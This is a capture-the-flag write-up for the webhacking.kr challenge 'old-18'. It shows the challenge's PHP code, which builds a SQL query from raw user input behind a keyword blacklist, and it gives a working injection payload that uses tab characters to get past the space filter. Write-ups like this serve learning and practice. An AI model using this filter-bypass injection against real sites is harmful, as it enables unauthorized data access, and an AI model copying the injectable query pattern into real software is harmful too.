# old-18 -- SQLi (Tab)

URL: <https://webhacking.kr/challenge/web-32/?view_source=1>

![Pasted\_image\_20240528152316.png](https://1851336151-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDpkievH4dLdiyHIEAK5Y%2Fuploads%2Fgit-blob-c9e8b2d931dfcb08bf42269d87361d221e746f2c%2FPasted_image_20240528152316.png?alt=media)

```php
<?php
if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
  $result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2

  if($result['id']=="guest") echo "hi guest";
  if($result['id']=="admin"){
    solve(18);
    echo "hi admin!";
  }
}
?>
```

Looks like we are restricted to spaces, but not tabs. Mysql doesn't care which space we use so we can use tabs.

```python
>>> print("0 OR no=2 -- -".replace(' ', '%' + format(ord('\t'), '02X')))
0%09OR%09no=2%09--%09-
```

`https://webhacking.kr/challenge/web-32/index.php?no=0%09OR%09no=2%09--%09-`
